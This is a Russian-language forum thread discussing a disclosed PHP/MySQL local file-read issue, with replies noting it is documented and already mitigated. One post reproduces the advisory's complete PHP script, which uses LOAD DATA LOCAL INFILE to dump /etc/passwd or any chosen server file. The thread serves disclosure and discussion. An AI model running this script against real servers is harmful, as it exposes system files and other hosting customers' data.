Что делать? Все пропало .....

AKoval

Guest
Что делать? Все пропало .....

Чтение произвольных файлов в PHP + mySQL (локальный эксплоит).

http://www.securitylab.ru/?ID=34630

У меня точно все так и работает.
 

tony2001

TeaM PHPClub
http://www.mysql.com/documentation/mysql/bychapter/manual_Reference.html#IDX1431
----------
Also, to use LOAD DATA INFILE on server files, you must have the FILE privilege on the server host. See section 4.2.7 Privileges Provided by MySQL.
----------
если это эксплойт, то пустой рутовый пароль на сервере - это тоже проблема РНР и MySQL, наверное....
 

confguru

ExAdmin
Команда форума
Это фича-бага MYSQL.


Чтение произвольных файлов в PHP + mySQL (локальный эксплоит)

Атакующий может использовать PHP и mySQL, чтобы читать некоторые локальные файлы. Создайте базу данных (mySQL) и загрузите этот файл на сервер.

PHP код (viewfile.php):

<?
// config this data
$dbhost = "";
$dbuser = "";
$dbpasswd = "";
$dbname = "";
$file = "/etc/passwd"; // filename that you wanna view

// shell code
echo "<pre>";

mysql_connect ($dbhost, $dbuser,
$dbpasswd);
$sql = array (
"USE $dbname",

'CREATE TEMPORARY TABLE ' . ($tbl
= 'A'.time
()) . ' (a LONGBLOB)',

"LOAD DATA LOCAL INFILE '$file' INTO
TABLE
$tbl FIELDS "
. "TERMINATED BY
'__THIS_NEVER_HAPPENS__' "
. "ESCAPED BY '' "
. "LINES TERMINATED BY
'__THIS_NEVER_HAPPENS__'",

"SELECT a FROM $tbl LIMIT 1"
);


foreach ($sql as $statement) {
$query = mysql_query ($statement);

if ($query == false) die (
"FAILED: " . $statement . "\n" .
"REASON: " . mysql_error () . "\n"
);

if (! $r = @mysql_fetch_array ($query,
MYSQL_NUM)) continue;

echo htmlspecialchars($r[0]);
mysql_free_result ($query);
}
echo "

"; ?> вы загрузите содержание /etc/passwd.

Уязвимость очень опасна, потому что пользователь может читать некоторые важные файлы на вашем сервере. Особенно это критично на бесплатных хостингах &#8211; уязвимость позволяет получить доступ к содержанию других пользователей.

http://www.securitylab.ru/?ID=34630
 

Barlone

Guest
Автор оригинала: sanjok
ждать патчей...
А чего ждать-то ? Всё уже давно пропатчено.
http://www.mysql.com/doc/en/LOAD_DATA_LOCAL.html
И со стороны PHP тоже - в changelog версии 4.2.0:
Modified the mysql extension to disable 'LOAD LOCAL' when safe mode is enabled.

tony2001: для LOAD DATA LOCAL INFILE не требуется file privelege. Но это опасно только когда PHP на хостинге как апачевский модуль.
 
Сверху